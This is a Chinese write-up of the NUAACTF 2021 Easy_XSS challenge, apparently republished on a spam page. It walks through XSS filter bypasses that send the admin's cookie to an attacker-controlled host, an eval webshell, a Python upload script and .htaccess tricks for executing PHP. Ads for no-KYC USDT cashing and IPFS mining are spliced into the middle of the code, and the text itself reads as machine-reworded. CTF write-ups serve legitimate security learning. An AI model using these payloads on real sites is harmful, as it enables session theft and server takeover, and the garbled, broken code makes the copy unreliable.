ipfs挖矿(www.ipfs8.vip):NUAACTF2021 Easy_XSS 复现

弁言

在 NUAACTF 2021 中,有一道 XSS 相关的问题 Easy_XSS,竞赛的时刻就只有一队做出来了。

(固然只是校内玩玩而已,大师傅们应该随便就 AK 了 Orz

问题考点主要涉及 XSS 绕过、PHP 代码审计、文件上传绕过等,难度实在还好。

最近几天摸鱼,就来复现一下吧。

顺便还拓展学习了一下 iframe 标签中的 srcdoc 属性在 XSS 中的行使。

问题形貌

Easy XSS

实验去获取治理员的神秘页面 upload.php 吧!

http://45.76.221.54:8005

解题步骤

Step 01 网络环境信息

打开问题发现是个 Blog,可以在内里发 post。

发 post 需要登录,那就先随意注册个账户。

凭证问题形貌,直接接见 upload.php,会提醒需要 admin 才气上传。

啊,居然没有前端界面,只有丑丑的源代码

可是有源代码吼啊!

那就看看怎么获取 admin 权限好了。

Step 02 XSS 及其绕过

既然是 XSS 嘛,那就想到先试试 img 标签好了。

先组织一个最通俗的,行使 url 来转达 cookie。

自己的 VPS 上起个 web 服务来吸收一下,或者若是有 NGINX 的话看看 log 也行。

payload:

meow
<img src=',' onerror="window.location.href='//VPSIP:PORT/'+document.cookie">
233

然而发现 img window document on 被替换为空了,location -> locati

那就试试双写绕过行不行。

meow
<imimgg src=',' oonnerror="windwindowow.locatioonn.href='//VPSIP:PORT/'+documdocumentent.cookie">
23333

很好,乐成组织出了预期的 xss 语句,实现了跳转。

接下来就勾上 Publish this post,让 admin 看一看,顺便偷走他的 cookie。

乐成在 VPS 上吸收到 cookie。

PHPSESSID=9f767556e4ef66825cb9e3b399e5d243

尔后修改 cookie,刷新页面就是 admin 了。

Step 03 PHP 文件上传绕过

再回到最先的 /upload.php,发现此时页面上一无所有,确实是 admin 了。

没有前端上传界面,那下面就直接审计 PHP 源码再自己组织上传请求吧。

<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
    echo "You are not admin! You can't access this page.";
    highlight_file(__FILE__);
    die();
}

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
    $tmp_name = $_FILES["upload"]["tmp_name"];
    $name = basename($_FILES["upload"]["name"]);
    if (!$tmp_name) {
        die();
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph/i", $extension)) {
        die("illegal suffix!");
    }
    $upload_file_path = $userdir . "/" . $name;
    if (!move_uploaded_file($tmp_name, $upload_file_path)) {
        die("Error!");
    }
    echo "Your dir " . $userdir . ' <br>';
    echo "Your file: ";
    var_dump(scandir($userdir));
}

参考 PHP 手册:POST 方式上传

strrpos() 函数查找字符串在另一字符串中最后一次泛起的位置,且对巨细写敏感。

于是 $extension 就是凭证文件名中最后一个 . 之后的字符获得文件的扩展名,若是包罗 ph 的话就会被拦住了。

另外,触发上传的话需要用 POST 方式,且包罗一个 submit 变量,值的话随意设置就好了。

先准备个一句话木马,存为 miao.png

<?php @eval($_GET['miao']);?>

固然 POST 也行。

Python 写个剧本上传。

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
import requests

url = "http://45.76.221.54:8005/upload.php"
headers = {
    'cookie': 'PHPSESSID=9f767556e4ef66825cb9e3b399e5d243'
}
form_data = {
    'submit': (None, '1'),
    , 'upload': (f'.htaccess', open(f'.htaccess', 'rb'))
    'upload': (f'miao.png', open(f'miao.png', 'rb'))
}
print(form_data)
resp = requests.post(url, headers=headers, files=form_data, timeout=10)
resp.encoding = 'utf-8'
print(resp.content)

上传之后发现不能执行 PHP 剧本。

做的时刻试了试 %00 截断 test.php%00.png1.php(0x00)/1.png 之类的,发现都不行。

再回去看看问题环境,PHP 7.4.0 + Apache 2.4.38。

思量到服务器用了 Apache,可以试试上传一个 .htaccess 文件,让文件夹里所有后缀的文件都交给 PHP 来处置。

SetHandler application/x-httpd-php

这样就能通过上传不带有 ph 后缀的文件来执行 php 代码了。

固然也可以在 .htaccess 里这么写,也就是给 .png 文件指定用 PHP 来处置。

AddType application/x-httpd-php .png

凭证获得的路径举行接见,然后用一句话木马去拿 flag。

乐成拿到 flag,好耶!

flag{851f398a-3db1-4299-8dd6-6a3d2467433f}

拓展一下

看看源码

那顺便再来看看他源码好了。

发现 post.php 在渲染页面的时刻,有一个过滤。

详细是

function render_tags($str) {
  $str = preg_replace('/script|img|svg|on|document|window/i', "" ,$str);
  return $str;
}

那实在还能直接用 iframe 来整,不外原理差不多倒是了。

<iframe src=javascript:alert('xss');></iframe>

改悔改滤

把要害词替换为 hacker 试试,即

function render_tags($str) {
  $str = preg_replace('/script|img|svg|on|document|window/i', "hacker" ,$str);
  return $str;
}

这样一下子难度就上来了。包罗这些要害词的标签以及 onxxxx 属性都不能用了。

然则这样另有个 iframe 可以写入 src 呢。

首先组织 payload

<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>

配合 data 协议以及 base64 编码,写入到 src 里。

<iframe src="data:text/html;base64,PHNjcmlwdD50b3AubG9jYXRpb24uaHJlZj0nLy9WUFNJUDpQT1JULycrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+"></iframe>

然而打已往发现被拦住了……

也就是说 data 里不能拿到 document.cookie

再来看 iframe 标签另有什么神奇的属性呢?

参考 HTML <iframe> 标签的 srcdoc 属性 ,我们可以在 srcdoc 属性中直接写入 HTML 源码。

为了防止被替换掉,这里可以用 HTML entity 编码一下。

<iframe srcdoc="&,60;&,115;&,99;&,114;&,105;&,112;&,116;&,62;&,116;&,111;&,112;&,46;&,108;&,111;&,99;&,97;&,116;&,105;&,111;&,110;&,46;&,104;&,114;&,101;&,102;&,61;&,39;&,47;&,47;&,86;&,80;&,83;&,73;&,80;&,58;&,80;&,79;&,82;&,84;&,47;&,39;&,43;&,100;&,111;&,99;&,117;&,109;&,101;&,110;&,116;&,46;&,99;&,111;&,111;&,107;&,105;&,101;&,60;&,47;&,115;&,99;&,114;&,105;&,112;&,116;&,62;"></iframe>

打已往,乐成收到 cookie。

好耶!

小结

复现完了耶!

这篇文章从 NUAACTF 2021 Easy_XSS 一题入手,对整个解题历程举行了复现。

问题考点主要包罗 XSS 绕过、PHP 代码审计、文件上传绕过,总体而言难度还好。

在拓展部门,对于过滤替换为其他字符的情形举行了剖析,进一步思量了 iframe 标签中的 srcdoc 属性在 XSS 中的行使。

溜了溜了。

Extensive Reading

.htaccess行使与Bypass方式总结

文件上传破绽(绕过姿势)

XSS总结

Filecoin FLA

Filecoin FLA官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

标签: 安全技术 WEB安全

作者头像
admin创始人

上一篇:免费足球贴士(zq68.vip):奚梦瑶母亲节报喜怀第二胎 赌王儿:我的职位又要下降了
下一篇:ipfs合租出租(www.ipfs8.vip):无限期暂停!国家发改委公布主要涉澳声明

发表评论

评论列表

2021-05-16 00:00:58

千万不要断更啊